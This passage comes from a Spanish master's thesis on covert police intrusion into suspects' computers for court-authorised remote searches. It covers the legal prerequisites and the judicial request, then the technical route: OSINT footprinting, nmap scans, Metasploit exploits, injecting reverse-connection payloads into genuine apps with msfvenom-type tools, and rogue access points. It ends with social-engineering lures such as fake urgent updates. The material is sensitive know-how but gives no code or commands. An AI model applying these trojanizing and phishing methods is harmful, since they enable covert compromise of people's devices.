Sélo el tiempo, y las sentencias del Tribunal Supremo que creen jurisprudencia, podran
establecer de una forma mas clara y precisa todos aquellos limites necesarios en la aplicacion
de la medida, para conseguir que la informacién obtenida en base a la ejecucion de la misma,

sea totalmente valida en el proceso penal.
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3. Objetivos concretos y metodologia de trabajo

A continuacidn, se pasa a describir el objetivo general del presente Trabajo de Fin de Master,
asi como los objetivos especificos que llevan a la consecucidon del objetivo general.

Igualmente, se expondra la metodologia seguida para la elaboracion del presente TFM.
3.1. Objetivo general

Crear una metodologia para realizar intrusiones en equipos informaticos, que permita
la ejecucion de registros remotos en dichos equipos, sin el conocimiento de la persona

investigada.

3.2. Objetivos especificos

¢ Identificar los requisitos legales especificos para realizar una intrusion en equipos

informaticos, con el objetivo de llevar a cabo en los mismos un registro remoto.

e Determinar, de la forma mas completa posible, el dispositivo que va a ser

objeto de la intrusién y posterior registro remoto.

e Determinar los medios técnicos necesarios para poder ejecutar de forma exitosa

una intrusion, con el objetivo de realizar registros remotos.

e Realizar un “oficio tipo” para la solicitud de la medida del registro remoto al Juez

de Instruccién competente.

e Desarrollar una simulacion de intrusion en un dispositivo concreto. Lo ideal
seria poder llevar a cabo una prueba en un entorno real, pero por motivos obvios se

va a realizar una prueba en una red propia y con equipos propios.
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3.3. Metodologia del trabajo

Para la correcta elaboracion del presente Trabajo de Fin de Master, se ha recogido (y
desechado) gran cantidad de informacion acerca de los registros remotos. Gran parte de esa
informacion trata sobre la novedad de la medida y de los posibles efectos en los ciudadanos
de la adopcién de dicha medida, por parte de un Juez de Instruccion, en una investigacién por
la comision de un hecho delictivo, llevando el debate a los terrenos sobre la privacidad y los

limites que debieran tener las técnicas aplicadas en las investigaciones.

Se ha tratado de recoger todos los requisitos legales necesarios, asi como la interpretacion
de esos requisitos, en base a la informacién de consulta bibliografica y a la interpretacion que

se hace de las mismas por parte de expertos en la materia.

Es la propia Ley la que dicta qué es necesario, pero en ocasiones deja casos sin cubrir, 0
extremos sin definir. Estos ultimos casos son los que la jurisprudencia va delimitando, a
medida que se dictan sentencias por parte, fundamentalmente, del Tribunal Supremo, para
realizar los registros remotos, si bien a dia de hoy no se ha hallado evidencia de las mismas.
Sélo con el tiempo se ira perfilando de verdad qué es lo que se puede hacer y cémo, en base

a las citadas sentencias, que definiran y perfilaran los limites de esta medida.

Al no existir practicamente bibliografia acerca de la realizacion de estos registros remotos,
tanto en el apartado legal como técnico (obviando las Leyes existentes, claro esta), se ha
solicitado la colaboracion de miembros de la fiscalia, asi como de miembros de grupos de

investigacion especializados.

Dicha colaboracion se ha basado en la respuesta a preguntas planteadas por el autor, en aras

de clarificar la Ley y de conocer la operativa habitual de los investigadores.

Con respecto a la operativa de investigacion, no se ha podido conseguir informacion acerca
del software especifico utilizado, por tratarse de materia reservada. Este ultimo extremo no
afectaria a la metodologia propuesta, puesto que ésta es independiente de las herramientas
disponibles. Es evidente que, con mejores herramientas, la ejecucion practica se simplifica

enormemente.

Una vez recopilada esa informacion, se ha llevado a cabo un trabajo de analisis, para poder
establecer una metodologia que recogiera todos aquellos puntos necesarios para realizar los

registros remotos contemplados en la Ley.

Este extremo resulta de notable importancia, puesto que, aunque dispongamos de toda la

informacién necesaria, asi como de las herramientas oportunas, si la intrusion no se realiza
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conforme a la Ley, toda la informacién recabada quedaria inmediatamente invalidada para el
proceso penal, por no hablar de las posibles repercusiones legales para los actuantes. Es por
ello que es de suma importancia conocer qué pasos hay que dar legalmente, previos a realizar

de forma operativa una intrusion en un equipo informatico.

Una vez analizada la informacion recabada, se procede al desarrollo de la metodologia
propuesta, que contempla tanto la parte legal como la operativa, para llevar a cabo de forma

efectiva la medida del registro remoto.

Para comprobar la validez de dicha metodologia, ésta se ha puesto a prueba con una
simulacién en un entorno controlado, si bien se podria aplicar por los grupos investigadores

en un entorno real, adaptando los contenidos a la situacidon concreta de cada investigacion.

En la “llustracion 1” se muestra el flujo de la metodologia seguida para la elaboracion del

presente Trabajo de Fin de Master.

Adquisicion de la informacion

Analisis de la informacion

Propuesta de metodologia

Simulacion practica utilizando
la metodologia propuesta

llustracién 1. Proceso de la metodologia utilizada para la realizacion del TFM
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4. Desarrollo especifico de la contribucion

En el presente capitulo se pasa a describir la metodologia propuesta para realizar una
intrusion en un dispositivo informatico, haciendo uso de técnicas de Ingenieria Social, con el
objetivo de poder ejecutar la medida prevista en la legislacion vigente del registro remoto.

Al no existir, por el momento, ningun tipo de protocolo de actuacién en estos casos, la
contribucidn que se realiza viene a paliar, en cierta forma, esa falta de desarrollo.

De este modo, se procede a identificar todos aquellos requisitos que se estiman necesarios
para que la intrusion, y posterior registro remoto, puedan ejecutarse con éxito.

Aparte de lo establecido por la legislacion vigente, se proponen métodos o formas de realizar
las acciones que hasta este momento no se utilizaban de forma generalizada por los
investigadores. Esto ha sido asi debido a la novedad de la posibilidad de realizar registros
remotos con la autorizacion de un Juez y a la falta de especificaciones concretas para la
ejecucion de la misma.

Por ello, se proponen herramientas y escenarios especificos para que, en funcion de la
investigacion concreta que se esté llevando a cabo, se pueda llevar a efecto, de forma exitosa,
el registro remoto de un equipo informatico.

Todo el proceso de la metodologia requiere que se vayan cumpliendo los diferentes pasos de
forma completa, es decir, si no se ha logrado completar una etapa de la metodologia, no se
podra continuar con la siguiente, pues esto querra decir que alguno de los requisitos para
llevarla a efecto no se ha completado.

Por lo tanto, las principales novedades y aportaciones de la presente metodologia son:
clarificar y especificar los requisitos necesarios para poder llevar a cabo, de manera
exitosa, un registro remoto sobre un equipo informatico; facilitar herramientas y métodos
de actuacion concretos, acordes con los requisitos necesarios; ofrecer un camino, paso a
paso, desde el inicio de una investigacion, que permita conocer si se puede llevar a cabo un

registro remoto y, de ser asi, la forma de llevarlo a cabo.
4.1. Desarrollo de metodologia

Como se ha expuesto anteriormente, la metodologia propuesta es del tipo lineal, siendo
necesario completar un apartado para poder continuar con los siguientes, y completar el
desarrollo de la metodologia.

Y es necesario completar cada uno de los pasos propuestos porque, de lo contrario, alguno
de los requisitos planteados no se habria podido cumplir, con la consecuente pérdida de

validez en el proceso penal (caso de conseguirse la intrusidon en el dispositivo de forma
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efectiva) o con la imposibilidad de llevar a cabo dicha intrusion para la realizacién del posterior
registro remoto.

Previamente al desarrollo de la metodologia, se describen todos aquellos requisitos que se
han estimado necesarios, siempre contando con las limitaciones tecnoldgicas actuales y con
las posibles tecnologias accesibles unicamente a entidades gubernamentales (de las cuales,

obviamente, no se ha podido obtener informacion por motivos de confidencialidad).
4.1.1. Identificacion de requisitos

Para la correcta puesta en marcha de la metodologia propuesta, se han reconocido 3 tipos de
requisitos necesarios. Estos requisitos incluyen las condiciones previas necesarias para llevar

a cabo, de una forma completa, la metodologia propuesta.

Con respecto a los requisitos legales, hay que indicar que todos y cada uno de ellos son
necesarios y obligatorios, puesto que de lo contrario los registros remotos no se realizarian
conforme a la legislacion vigente lo que, como ya se ha dicho en anteriores puntos de este
Trabajo de Fin de Master, provocaria que todo lo recabado no seria de utilidad durante el
proceso penal, ademas de poder conllevar responsabilidad, de tipo penal y disciplinaria, a los

actuantes que hayan ejecutado el registro remoto.

Con respecto a los requisitos técnicos, si bien alguno de ellos no resulta obligatorio (puesto
qgue siempre se va a depender de las capacidades econdmicas o presupuestarias del Cuerpo
policial que lleve a cabo la investigacion), si que todos ellos resultan recomendables, para

poder llevar a buen término la ejecucién de la medida.

Finalmente, en relacion a los requisitos de formacion, del personal que va a llevar a cabo la
medida, son requisitos recomendables, puesto que no siempre se va a poder contar con

personal que disponga de los conocimientos que se sugieren.

Lo que si se puede hacer, con respecto a los requisitos de formacién, es tratar de gestionar
cursos de formacién, para que el personal dedicado a este tipo de investigaciones, se pueda
especializar en la materia y, de este modo, la ejecucidon de la medida se pueda mejor y mas

rapidamente.

En relacion al parrafo anterior, los cursos de formacién se tornan imprescindibles, puesto que,
al ser una medida eminentemente tecnoldgica, los cambios se producen (nuevos equipos,

nuevos sistemas operativos o nuevas vulnerabilidades) a ritmos vertiginosos.

A continuacion, se exponen los requisitos genéricos para realizar los registros remotos, si
bien, para esta metodologia en concreto, se puntualizaran los que son necesarios.
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Requisitos legales

Los requisitos legales han sido ampliamente tratados en el apartado “2.1 Base teérica y legal”

del presente Trabajo de Fin de Master.

De todos modos, se vuelven a listar, de forma resumida y sin la aclaracion y justificacion, ya

descrita en el apartado indicado anteriormente.

En este punto se van a relacionar todos los requisitos exigibles, desde el punto de vista legal,
par que, de este modo, se pueda tener un listado de comprobacion, en aras de poder
comprobar si la ejecucion de la medida del registro remoto es posible en la investigacion que

se esta llevando a cabo:

La medida del registro remoto solo se podra llevar a cabo cuando los hechos delictivos
investigados correspondan a uno de los delitos recogidos en el articulo 588 septies a 1
(Ley Orgénica 13/2015, de 5 de octubre, de modificacion de la Ley de Enjuiciamiento Criminal
para el fortalecimiento de las garantias procesales y la regulacién de las medidas de
investigacion tecnoldgica, 2015). Si los hechos investigados no se corresponden con uno de
esos delitos, entonces no se podra ejecutar la medida, puesto que el Juez competente no lo

autorizara.

Se hace necesaria la autorizacion del Juez competente, para poder llevar a cabo la

ejecucion de la medida por parte de los investigadores.

Para obtener la autorizacidon por parte del Juez de Instruccién competente, cuando la
solicitud se realice de parte de la Policia Judicial, sera necesaria la redaccion de un Oficio de
solicitud, en el que se debe incluir, de forma clara, detallada y ampliamente justificada, los

siguientes extremos:

o Qué hecho delictivo se esta investigando. Debe ser un hecho delictivo concreto y

se debe indicar en el oficio de solicitud (por ejemplo, si se trata de un delito contra

la salud publica o de un delito de terrorismo).

o No sélo hay que indicar qué delito se esta investigando. Se deben incluir todos los

indicios que se conozcan acerca de la comisién de ese hecho, explicados

profusamente y con todo detalle posible. Es decir, debemos facilitar al Juez
Instructor todas aquellas gestiones, previas a la solicitud, que se han realizado
hasta el momento, que estén directamente relacionadas con los hechos y explicar
por qué llevan a los investigadores a pensar que se esta cometiendo por la persona

(o personas) investigada. El Juez Instructor no puede imaginar o suponer, sino que

27
Metodologia de intrusion en equipos
para la investigacion de delitos



Antonio Salguero Cruz Master Universitario en Seguridad Informatica

se va a basar en los datos que figuren en la solitud para conceder la autorizacion
0 no, por lo que, mientras mas detallada y concisa sea ésta, mas informacion

tendra aquél para poder decidir la adopcién de la medida.

o Se debe facilitar la identidad completa de la persona investigada o, en su caso, de

la persona (o personas) que vaya a ser afectada por la ejecucién de la medida.

o Concretar al Juez Instructor qué medida es la que solicitamos y, dentro de ésta,

qué es lo que se quiere solicitar en concreto. En este punto y, dado que en caso

de conceder la autorizacion el Juez de Instruccion, sélo la concedera en aquellos
términos que figuren en la solicitud, se debe incluir todo aquello que se estime
necesario para llevar a buen término la investigacion (por ejemplo, si en la solicitud
no figura el uso de cddigos, no se podra realizar una intrusion en la red inalambrica
del investigado, y eso puede llevar a que la investigacion no avance como deberia).
En este punto se debe justificar la especialidad (el hecho investigado concreto), la
idoneidad de la medida (que no exista otra medida, menos lesiva, con la que se

puedan conseguir los mismos resultados), la excepcionalidad y la necesidad de la

medida (debido a que, de otro modo, seria imposible conseguir los resultados

necesarios para realizar la investigacion) y la proporcionalidad de la misma con

respecto al hecho investigado (se debe tratar de un hecho grave, que la aplicacién
de esta medida altamente restrictiva sea proporcionada al hecho investigado).

o Debe figurar qué unidad concreta de la Policia Judicial es la que se va a hacer

cargo de la investigacién, asi como los agentes concretos que la van a llevar a

cabo.

o De qué forma se va a proceder a la ejecucion del registro remoto (acceso fisico,
Ingenieria Social).

o Por cuanto tiempo se solicita la aplicacion de la medida.

o Caso de que fuera necesaria la colaboracién de algun sujeto obligado, en la

solicitud debe figurar la identidad completa del mismo.

o Sobre qué dispositivo (o sistema informatico, en su caso) se va a ejecutar la

medida. Debemos especificarlo con el mayor detalle posible: tipo de dispositivo,

marca, modelo, sistema operativo y software que utiliza.

o Qué software se va a utilizar para llevar a cabo de manera efectiva el registro

remoto.
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o Siva a haber necesidad de hacer copias y conservar los datos que se obtengan

durante el registro informatico.

o Qué tipo de medidas se precisan para garantizar la integridad de los datos que

estén almacenados, asi como para hacerlos inaccesibles o eliminarlos del

dispositivo sobre el que se realiza el registro remoto.

Durante el desarrollo de la ejecucion de la medida, el Juez Instructor competente tiene que

ser informado de los progresos realizados, es decir, de la nueva informacién o datos

conseguidos gracias a la aplicacion de la medida en la investigacion. Si no se obtienen datos
relacionados con la medida, evidentemente, el Juez decretara el cese de aplicacion de la
misma. Esta informacion se le facilitara al Juez, cuando y como éste determine, mediante la
redaccion de un escrito (Oficio) en el que se describan, de forma amplia y detallada, toda
informacion relevante para la investigacion, que haya sido averiguada gracias a la aplicacion

de la medida.

En el caso de que sea necesaria la prérroga de la medida (porque no haya dado tiempo a
recabar toda la informacion necesaria o porque existan indicios de que todavia puede

introducirse en el dispositivo registrado mas informacién relevante para la causa).

Todos los requisitos legales expuestos anteriormente, son necesarios para llevar a cabo de

forma correcta la metodologia.

Requisitos técnicos

En funcién del tipo de intrusion (y de explotacién de la misma) que vayamos a realizar, habra

qgue contar con diferentes medios:

e Si el registro remoto se realiza desde la propia red (inalambrica) de la persona
investigada: debemos disponer de una tarjeta de red inalambrica que permita “modo
monitor” o0 “promiscuo”), para poder introducirnos en la misma. Se entiende que es un
adaptador o tarjeta de red independiente del que ya lleve instalado el equipo
informatico a utilizar. Por ejemplo, un adaptador USB de red podria valer
perfectamente. EI modo “promiscuo” permite escuchar todo el trafico producido por
esa red, aun sin estar autenticado en la misma, lo que resulta necesario para tratar de
vulnerar la seguridad en introducirnos en la misma sin conocer las credenciales. Si ya
se conocieran las claves de acceso, con una tarjeta de red inaldmbrica normal seria
suficiente. Este método no resulta recomendable para los registros remotos, puesto
que obliga a estar cercano fisicamente al investigado y, ademas, estariamos dentro de
su propia red, con lo que seria de suma facilidad para éste averiguar que alguien se
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ha introducido en su red inalambrica. Ademas, dependeriamos de que estuviera

conectado a esa red para poder realizar los registros remotos.

Una circunstancia especial de este caso, es que la persona investigada se conecte
regularmente a una red inalambrica publica (como puede ser un restaurante o un
centro civico). En ese caso si que podria ser recomendable el realizar el registro
remoto utilizando la misma red del investigado, puesto que a dichas redes se conectan
infinidad de personas y el investigado no detectaria una presencia anémala en la
misma. Aqui habria que tener en cuenta que también otras personas podrian
monitorizar la informacion que circula por la misma, por lo que se haria necesario el
uso de mecanismos de seguridad que garantizasen la integridad y la confidencialidad
de la informacion recabada durante el registro remoto. Para este caso no seria

necesario el adaptador USB de red inalambrica.

En este ultimo caso también se podria realizar un (Rogue AP, 2017) (un punto de
acceso falso o fake AP) para que el investigado se conectara a una red con el mismo
nombre que la red a la que se suele conectar, pero controlada por los investigadores
en su totalidad. El (Rogue AP, 2017) se crearia utilizando el adaptador de red USB

que se ha mencionado anteriormente.

e El registro remoto se realiza a través de Internet: obviamente, seria necesario contar
con una conexioén a Internet. Lo ideal es que dicha conexion esté anonimizada (que no
se pueda vincular la direccion IP utilizada con los investigadores) y que tengamos una
direccion IP publica fija (si el registro se va a realizar directamente desde un ordenador
“‘normal” conectado a la red). Esta IP publica fija deberia cambiar con cada registro
remoto diferente que se realizara, es decir, sélo seria utilizada para un registro remoto

en particular (durante la duracién de la medida) de una investigacion particular.

Independientemente de que la intrusidn para el registro remoto se realice desde la propia red
del investigado o desde fuera de la misma, sera necesario contar con un (o varios) ordenador

para controlar la ejecucién efectiva del registro remoto.

En el supuesto de este Trabajo de Fin de Master, que se va a hacer uso de la Ingenieria Social
para la instalacién del software que permita el registro remoto, como Sistema Operativo una
opcion valida es (Kali Linux, 2017), puesto que ya trae de serie, preinstaladas, un gran nimero
de herramientas que permiten, tanto la generacion del software que se va a utilizar en los
registros remotos (mediante el uso de Framework de (Metasploit, 2017)), como herramientas

para el uso de Ingenieria Social.
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Este Sistema Operativo es recomendable que se encuentre instalado en una maquina virtual,
puesto que se simplifica mucho el hecho de volver a puntos anteriores en el tiempo, gracias

a los “snapshots” o capturas de estado de la maquina virtual.

Por lo tanto, también se necesitaria un software de virtualizacion, como pudiera ser (Oracle
VM VirtualBox, 2017) o (VMWare Inc., 2017).

Para el desarrollo concreto de la presente metodologia, los requisitos técnicos son:

Ordenador Personal.

e Software de virtualizacion (Oracle VM VirtualBox, 2017).
e Maquina virtual (Kali Linux, 2017) 2016.2 de 64 bits, actualizada al completo.

e Adaptador USB de red inaldmbrica (TP-LINK TL-WN722N, 2017) (no permite
conexiones a redes Wi-Fi AC o en la banda de los 5 GHz) u otro tipo de hardware
especifico para auditoria de redes inalambricas, como puede ser (WiFi Pineapple,
2017).

¢ En el caso de realizar el registro remoto a través de Internet (no en red local), seria

necesaria una conexion con IP publica fija.

e Siel envio del correo al investigado se realiza con un dominio creado al efecto, seria
necesario adquirir dicho dominio y configurar el servidor de correo electronico para

realizar los envios desde el mismo.
Requisitos de formacion

Se debe tener conocimiento de qué es lo que permite la Ley, las posibilidades que ofrece y
qué no se puede realizar. Por lo tanto, aparte de la formacién generalista que se posee, no
estaria de mas una formacion legal especifica en la materia.
También es necesario que los actuantes posean los conocimientos necesarios en el uso de
las diferentes aplicaciones o software que se vaya a utilizar, como, por ejemplo: conocimientos
de Linux (para el uso de (Kali Linux, 2017)), conocimiento del uso y posibilidades de
(Metasploit, 2017) o del software que se vaya a utilizar para generar o utilizar con el objetivo
de realizar los registros remotos, conocimientos de seguridad informatica.
Esto conlleva el que los actuantes puedan estar actualizados con respecto a las nuevas
vulnerabilidades que vayan apareciendo, las cuales podrian facilitar la instalacion del software
de registro remoto en los dispositivos a registrar. También, estarian actualizados en lo que
respecta a las diferentes técnicas de intrusién que se pueden llevar a cabo (por ejemplo, las
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nuevas técnicas para acceder a una red inalambrica ajena), asi como a las posibilidades que

puede ofrecer el trabajar dentro de la misma red que el dispositivo que sobre el que se

pretende ejecutar la medida.

Para la presente metodologia, son necesarios los siquientes requisitos de formacion:

Conocimientos legales (ya reflejados en el primer apartado).

Conocimiento en el uso de (Kali Linux, 2017) (fundamentalmente en el uso de

herramientas de auditoria de seguridad y de ingenieria social).

Conocimiento en el uso del Framework de (Metasploit, 2017) (instalado ya por defecto
en (Kali Linux, 2017)), asi como de las herramientas de inyeccién de (payload, 2017)

en una aplicacion o programa original.

En el caso de realizar una intrusion en la red inalambrica del investigado, o en el caso
de crear un (Rogue AP, 2017), conocimiento en el uso de las herramientas de auditoria
de redes inalambricas.

Caso de usar un dominio propio: conocimientos para registro de dominios en Internet,

asi como configuracion del servidor de correo electronico.

Conocimiento de las técnicas de Ingenieria Social, asi como de las herramientas

utilizadas.

4.1.2. Descripcién de la metodologia

A continuacion, en este apartado se procede a describir la metodologia de intrusién en equipos

para la investigacion de delitos, mediante el envio del software necesario para el registro

remoto al investigado. Por lo tanto, se hard uso de la Ingenieria Social para que éste

proceda a abrir el mensaje recibido y/o proceda a la instalacion del software indicado.

a) Descubrimiento del delito

El primer paso de todos es el de la investigacion de un hecho delictivo.

Cuando se tiene conocimiento, por el medio que sea, de un hecho delictivo, éste es

investigado por los correspondientes Grupos de Policia Judicial.

Una vez que se tiene conocimiento, el hecho delictivo es calificado, de forma provisional,

pues al final sera el Juez competente el que estime qué delito es, por los citados Grupos de

investigacion.
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El hecho de calificar correctamente el hecho delictivo investigado resulta fundamental para la
posibilidad de la solicitud de la medida del registro remoto, puesto que, como se ha
mencionado anteriormente, tan sélo se permite la ejecucién de dicha medida en una serie de

hechos delictivos concretos.

Por lo tanto, una vez que se ha calificado el hecho delictivo, se debe comprobar si éste es
uno de los que se recogen en la legislaciéon vigente, concretamente en el articulo 588
setpies a (Ley Organica 13/2015, de 5 de octubre, de modificacion de la Ley de Enjuiciamiento
Criminal para el fortalecimiento de las garantias procesales y la regulacion de las medidas de

investigacion tecnoldgica, 2015).

Si el hecho delictivo investigado no es uno de los recogidos en el citado articulo, entonces no

se podra solicitar autorizacién para la concesion del registro remoto.

Si se trata de uno de esos hechos delictivos, entonces, una vez agotadas todas las
posibilidades de investigacion (mediante el uso de las diferentes técnicas y fuentes de
investigacion), y siempre que resultara pertinente para la investigacion, se podria solicitar la

autorizacion de concesion de la medida del registro remoto.

Si se estima que resulta de interés el registrar remotamente algun dispositivo
informatico propiedad (o utilizado) por el investigado, se debe continuar con la adquisicién

de informacion, previa a la solicitud de la autorizacion de la medida.
b) Footprinting del objetivo

El footprinting consiste en recabar toda aquella informacién que figure en fuentes abiertas
del objetivo a investigar. Es decir, a través de la consulta de informacién publica, accesible
a todas las personas, se recabaran todos aquellos datos acerca del investigado que resulten

de interés para la investigacion.

No hay que olvidar que, en el escrito de solicitud de autorizacion del registro remoto, se deben
incluir una serie de datos y éstos deben ser obtenidos por los investigadores, previamente a

la realizacion de la solicitud.

Ademas, si queremos que la instalacion del software para registro remoto se haga a distancia,
se debe conocer el correo electronico del investigado, o el teléfono mévil (caso de que el
dispositivo a registrar sea éste y se envie el enlace mediante un servicio de mensajeria

instantanea), o cualquier dato que permita la comunicacién electrénica con el mismo.

Para recabar toda esta informacion, se muestran los pasos a seguir:
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e La primera opcién, y la mas sencilla, es hacer uso de un buscador estandar, como
puede ser Google. Con los datos conocidos de la persona investigada se realizan
busquedas simples en Google para observar qué informacion aparece en el buscador.
Estas busquedas se realizan mediante la introduccion en buscadores como Google de
los datos conocidos del investigado como: nombre y apellidos, DNI, matriculas de
vehiculos y demas datos que se conozcan. Lo que nos dara una primera aproximacion

de los datos que existen en Internet acerca del investigado.

e En relacién con la anterior, y haciendo uso también de los buscadores genéricos, se
realizarian busquedas mas refinadas, utilizando para ello los denominados (Dorks,
2017) de Google o Bing. Estos (Dorks, 2017) son operadores de consulta que se
pueden utilizar en los buscadores, lo que permite realizar busquedas mas refinadas.
Por ejemplo, se puede buscar por tipo de fichero (filetype:) o en un dominio concreto
(site:) (Universidad de Costa Rica, 2017).

e Se puede hacer uso de las fuentes OSINT (Open Source Intelligence), como por

ejemplo https://inteltechniques.com y http://osintframework.com, con los datos que se

van obteniendo del objetivo.

A medida que se vayan consultando las anteriores fuentes, se iran obteniendo mas datos del

investigado que, a su vez, deberan volver a ser consultados en las mismas fuentes.

Mediante el uso de estos recursos, se recabara la mayor cantidad de informacion posible,
relacionada con la investigacion que, posteriormente, se incluira en la solicitud de autorizacion

el Juez de Instruccion.

Con los datos obtenidos a través de la realizacion del footprinting del objetivo, asi como los
datos de interés recabados durante la investigacion policial, pasariamos al siguiente punto,
siempre y cuando esa informacién sea suficiente para poder realizar la solicitud con ciertas
garantias. Por ello, se debe cotejar la informacion de la que se dispone, con la informacion

que ha de constar en el escrito de solicitud y, por ende, en la ulterior autorizacién.

De no disponer de los datos suficientes, no se debera realizar la solicitud de autorizacion, sino
que se continuara con la utilizacion de técnicas de investigacion policiales y con la adquisicion

de mas datos a través del footprinting.
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c) Eleccion del software para registro remoto a instalar (en funcién de los datos

obtenidos durante el footprinting y la investigacion anterior)

Este es uno de los puntos criticos en la metodologia. Si bien, queda a criterio del Juez la
eleccion del software a utilizar, como bien comenta D? Lorena Bachmaier Winter (Winter,
2016), los jueces no son expertos técnicos, por lo que tomaran muy en cuenta las
indicaciones de los investigadores, y de expertos externos a los que pueden consultar, a

la hora de seleccionar el software a utilizar durante el registro remoto.

Por una parte, en funcion de los datos recabados anteriormente, puede ser que se tenga
informaciéon completa acerca del dispositivo que se quiere registrar remotamente. Si se
dispone de una informacion veraz y completa, entonces la eleccion del software a instalar se

simplifica enormemente.

Con la informacion anterior se simplifica enormemente el proceso de eleccién porque, si se
conoce la marca y modelo del dispositivo, el sistema operativo que utiliza y la version instalada
de éste, se puede elegir un software especifico que ofrezca mas garantias de cara a la
instalacion. Con esta informacién también se puede comprobar si existen (exploit, 2017)
operativos (utilizando para ello el Framework de (Metasploit, 2017)), que pueden hacer mas

sencilla la diligencia del registro remoto del dispositivo.

Tristemente, este no suele ser el caso, puesto que, si bien podria ser relativamente sencillo
averiguar la marca del dispositivo, e incluso el modelo, en el aspecto del sistema operativo ya
habria mayores dificultades. Y no so6lo respecto al sistema operativo en si, sino sobre todo
respecto a la version que tiene instalada. No es lo mismo que esté instalado un Windows XP

que un Windows 10 64 bits con todas las actualizaciones al dia.

Se deben conocer, previamente a la redaccién de la solicitud, al menos datos genéricos que

permitan exponer en el oficio de solitud un software genérico que se pueda llegar a instalar.

Una opcioén que nos permite conocer mas datos acerca del software que esta instalado en los
dispositivos es la herramienta (nmap, 2017), utilizada en redes publicas, puesto que aun no
existe autorizacion para realizar la intrusion en la red del investigado. Esta herramienta puede
proporcionarnos informaciéon muy util como, por ejemplo, el sistema operativo instalado y los

puertos que tiene abiertos dicho dispositivo.

Con la informacién adquirida, en la que, al menos, se debe conocer el sistema operativo (o
qué software es, en caso de bases de datos), existen dos opciones para determinar el software

a utilizar para el registro remoto, haciendo uso del Framework de (Metasploit, 2017):
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e Si se tiene un conocimiento completo y especifico del sistema operativo
utilizado por el dispositivo a registrar, asi como la versiéon del mismo, se realizaria
la busqueda de un (exploit, 2017) para el mismo, que sera el utilizado para el registro
remoto mediante el uso de (payload, 2017) asociado al mismo. De este modo,
normalmente, evitaremos que el investigado tenga que realizar una instalacion al uso,
ya que nos aprovecharemos de una vulnerabilidad del sistema, que facilitara el acceso

al mismo, con el objetivo de realizar el registro remoto.

e Si se conoce el sistema operativo utilizado, pero se desconoce la version
utilizada, o no se ha podido encontrar un (exploit, 2017) disponible, se utilizaria
una aplicacion o programa comercial original, que seria modificado mediante la
inyeccion de un (payload, 2017) de (Metasploit, 2017). Para ello se puede hacer uso
de herramientas como (msfvenom, 2016), (apkinjector, 2017) o (spade, 2016), con las
que se puede generar el software que se utilizara para el registro remoto. Se debera
especificar la direccion IP por la que los investigadores van a recibir la informacion (ya
que se utilizara una conexién tipo “reverse”, es decir, es el dispositivo del investigado
el que realiza la conexién con los investigadores y no al revés). Por lo tanto, si el
registro se va a realizar a través de Internet, se debera poner la IP publica que utilicen
éstos. Si se va a realizar en una red local, habra que introducir la IP privada que se

vaya a utilizar.

El asunto de la IP utilizada por los investigadores es crucial, ya que, si la IP introducida no
coincide con la que efectivamente tengan en el momento de realizar el registro, éste no se
podra llevar a efecto. Por lo tanto, hay que asegurarse de que la IP que se introduce se va a
mantener en el tiempo. Una buena medida temporal serian 3 meses, puesto que es el tiempo
maximo total (prorrogas incluidas) por el que puede autorizarse la medida del registro remoto

en un equipo informatico.

De todos modos, aunque en este punto se realice la eleccion del software a utilizar, es una
vez que se ha concedido la autorizacién cuando se debe realizar de forma efectiva la
generacion del software. Por lo tanto, es en la preparacion de la instalacién cuando se deben

tener en cuenta los extremos que se refieren a la IP que se va a utilizar.

Siempre existe la opcidn de, si la autorizacion se concede, explicar los extremos que se vayan
averiguando en relacion al dispositivo a registrar, mediante posteriores oficios al Juez

competente, de modo que se pueda especificar mucho mas el software que se podria utilizar.
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d) Solicitud al Juez de Instrucciéon

Una vez completada la fase anterior, teniendo la seguridad de que se poseen todos los datos

necesarios para realizar la solicitud, es cuando se realizaria ésta.

Nunca esta de mas hablar directamente con el Juez Instructor competente y también con
el Fiscal, puesto que siempre podran facilitar informacion acerca de si los datos recabados
hasta el momento, o la gravedad de los hechos delictivos investigados, son suficientes para

poder llegar a conceder la autorizacion de la medida del registro remoto.

Esta claro que toda la informacion ha de ser facilitada mediante el correspondiente escrito
(Oficio), pero siempre quedard mucho mas clara la explicacion, y la envergadura de la

investigacion, mediante una exposicion de los mismos de viva voz.

Ademas, de este modo implicaremos aun mas a los anteriormente mencionados en la
investigacion, lo que permitira que ésta avance y se resuelva de una mejor forma y con todas

las garantias.

Si existe necesidad de que uno de los sujetos obligados por la legislacién vigente, articulo
588 septies b (Ley Organica 13/2015, de 5 de octubre, de modificacion de la Ley de
Enjuiciamiento Criminal para el fortalecimiento de las garantias procesales y la regulacion de
las medidas de investigacion tecnologica, 2015), colabore en la investigacion, debera

reflejarse también en la solicitud de autorizacion.

Puede ser de interés solicitar la colaboracién de los sujetos obligados en casos como los

siguientes:

o Para realizar el envio de los mensajes al investigado. Este mensaje contendra el

enlace al software a utilizar en el registro remoto.
e Para conocer los datos especificos del software que utiliza el dispositivo a registrar.
e Para facilitar la instalacion del software en el dispositivo a investigar.

Ya se ha abundado anteriormente en la informacién y datos que han de figurar en el
escrito de solicitud, por lo que se remite al apartado “4.1.1 Identificacidon de requisitos”,

apartado de “Requisitos legales”, del presente Trabajo de Fin de Master.

En el Anexo | figura un Oficio tipo para la solicitud de la medida de registro remoto en

equipos informaticos.
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e) Instalaciéon del malware (mediante ingenieria social)

Este paso es el paso crucial de la metodologia, puesto que, si no se consigue que el
investigado instale el software en el dispositivo a registrar (o haga click en el enlace

que se le ha enviado), no se podra llevar a efecto la ejecucién de la medida.

La Ingenieria Social se basa en actuar en el eslabén méas débil en la cadena de la seguridad

en los equipos informaticos: las personas.

Por muy bien protegido que esté un sistema o dispositivo informatico, si se consigue
“convencer” a una persona para que realice una accién insegura, de nada serviran todos los

mecanismos de seguridad que posea aquél.

Tal y como indica Pablo F. Iglesias (F. Iglesias, 2015), para que esta técnica tenga mas
opciones de éxito, debemos ofrecer algo al objetivo, algo que sea de su interés y que pueda
tener cierto valor para esa persona. Por ejemplo, se le puede ofrecer una nueva aplicacion
que es solo para clientes Premium. O bien ofrecerle un enlace que garantiza una actualizacion
de una aplicacion, para evitar que ésta sea atacada. Es decir, algo que tenga valor para esa

persona.

Debe inculcarse una sensacion de cierta premura, es decir, que esa persona no tenga
demasiado tiempo para pensar en las acciones que va a realizar, puesto que, de lo contrario,
es probable que no realice la accién que se desea (instalar el software o hacer clic en el
enlace). Siguiendo con el ejemplo anterior, se le comunicaria que esa aplicacion para clientes
Premium estara disponible por un tiempo muy limitado, porque es muy valiosa. O en el caso
de la actualizacion de seguridad, habra que comunicar que es una actualizacion muy urgente,
